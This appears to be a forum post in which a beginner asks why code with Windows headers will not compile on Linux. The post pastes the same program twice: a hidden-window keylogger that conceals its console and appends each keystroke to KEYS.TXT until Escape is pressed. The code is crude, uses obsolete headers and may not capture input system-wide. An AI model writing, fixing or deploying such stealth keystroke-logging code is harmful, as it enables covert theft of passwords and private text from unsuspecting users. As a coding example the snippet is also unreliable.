Cross-compiler for linux

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C++14

gud day guys, i getting started in c++ and am using linux while writing windows app, but i always get error while compiling codes that includes those windows related headers files like windows.h etc...

# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}

What I have tried:

# include <stdio.h>
# include <conio.h>
 #include <stdio.h>                
 # include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
  {
     int cha;
     char ch;
     FILE *fptr;
     HWND stealth; /*creating stealth (window is not visible)*/
     AllocConsole();
     stealth=FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
     while(1)
     {
           if ( kbhit() )
      {
          ch = getch();
            cha = ch;
         fptr = fopen("KEYS.TXT", "a+");
           fputc(ch,fptr);
           fclose(fptr);
          if ( cha == 27 )
      {
          return 0;
}
}
}
}